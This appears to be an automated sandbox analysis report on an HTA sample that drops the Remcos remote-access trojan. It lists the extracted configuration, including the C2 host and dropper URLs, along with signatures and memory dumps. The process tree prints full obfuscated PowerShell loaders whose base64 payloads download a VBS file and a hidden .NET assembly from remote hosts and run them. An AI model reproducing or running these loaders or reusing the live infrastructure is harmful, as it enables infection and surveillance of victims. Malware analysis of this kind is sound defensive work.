Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/12/2024, 06:37
General
- Target creamkissingthingswithcreambananapackagecreamy.hta
- Size 80KB
- Sample241213-hdggrssqbm
- SHA256 277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7
Malware Config
Extracted
-
ps1
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ps1.dropper
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
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exe.dropper
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
Extracted
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remcos
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RemoteHost
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newglobalfucntioninside.duckdns.org:14646
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-PVMSPM
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
-
screenshot_path
%AppData%
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screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Blocklisted process makes network request 3 IoCs
- Evasion via Device Credential Deployment 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\creamkissingthingswithcreambananapackagecreamy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"3⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fzhstdt4\fzhstdt4.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8A7D.tmp" "c:\Users\Admin\AppData\Local\Temp\fzhstdt4\CSC755C88AAF4CD4489AA57CBE747C12E1.TMP"5⤵
- System Location Discovery: System Language Discovery
-
-
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"6⤵
- System Location Discovery: System Language Discovery
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES8A7D.tmp
__PSScriptPolicyTest_5xtipgp5.zij.ps1
fzhstdt4.dll
creamykissinglipsgoodforcreamythingswithcream.vbS
CSC755C88AAF4CD4489AA57CBE747C12E1.TMP
fzhstdt4.0.cs
fzhstdt4.cmdline
memory/1460-123-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-121-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-149-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-148-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-147-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-146-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-145-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-144-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-143-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-142-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-141-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-140-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-139-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-138-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-137-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-136-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-100-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-101-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-134-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-133-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-132-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-131-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-130-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-129-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-128-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-99-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-127-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-126-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-125-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-124-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-122-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-115-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-120-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-119-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-118-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-85-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-87-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-86-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-89-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-90-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-91-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-92-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-93-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-94-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-95-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-96-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-97-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-98-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-117-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-135-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-116-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-102-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-103-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-104-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-105-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-106-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-107-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-108-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-109-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-110-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-111-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-112-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-113-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1460-114-0x0000000000400000-0x000000000047F000-memory.dmp
memory/3144-4-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-17-0x0000000006200000-0x0000000006554000-memory.dmp
memory/3144-18-0x00000000067D0000-0x00000000067EE000-memory.dmp
memory/3144-19-0x0000000006810000-0x000000000685C000-memory.dmp
memory/3144-33-0x0000000006DD0000-0x0000000006DEE000-memory.dmp
memory/3144-1-0x0000000003220000-0x0000000003256000-memory.dmp
memory/3144-34-0x0000000007A90000-0x0000000007B33000-memory.dmp
memory/3144-3-0x0000000005950000-0x0000000005F78000-memory.dmp
memory/3144-0-0x00000000714EE000-0x00000000714EF000-memory.dmp
memory/3144-2-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-70-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-65-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-64-0x00000000714EE000-0x00000000714EF000-memory.dmp
memory/3144-5-0x0000000005910000-0x0000000005932000-memory.dmp
memory/3144-58-0x0000000007D90000-0x0000000007D98000-memory.dmp
memory/3144-7-0x0000000006190000-0x00000000061F6000-memory.dmp
memory/3144-6-0x0000000006120000-0x0000000006186000-memory.dmp
memory/3144-43-0x0000000007D60000-0x0000000007D74000-memory.dmp
memory/3144-44-0x0000000007DA0000-0x0000000007DBA000-memory.dmp
memory/3144-45-0x0000000007D90000-0x0000000007D98000-memory.dmp
memory/3144-42-0x0000000007D50000-0x0000000007D5E000-memory.dmp
memory/3144-41-0x0000000007D20000-0x0000000007D31000-memory.dmp
memory/3144-40-0x0000000007DC0000-0x0000000007E56000-memory.dmp
memory/3144-39-0x0000000007BA0000-0x0000000007BAA000-memory.dmp
memory/3144-38-0x0000000007B40000-0x0000000007B5A000-memory.dmp
memory/3144-37-0x00000000081C0000-0x000000000883A000-memory.dmp
memory/3144-20-0x00000000077A0000-0x00000000077D2000-memory.dmp
memory/3144-21-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-36-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/3144-22-0x000000006DDA0000-0x000000006DDEC000-memory.dmp
memory/3144-23-0x000000006DF40000-0x000000006E294000-memory.dmp
memory/3144-35-0x00000000714E0000-0x0000000071C90000-memory.dmp
memory/4892-81-0x0000000006200000-0x0000000006554000-memory.dmp
memory/4892-83-0x0000000007D90000-0x0000000007EE8000-memory.dmp
memory/4892-84-0x0000000007EF0000-0x0000000007F8C000-memory.dmp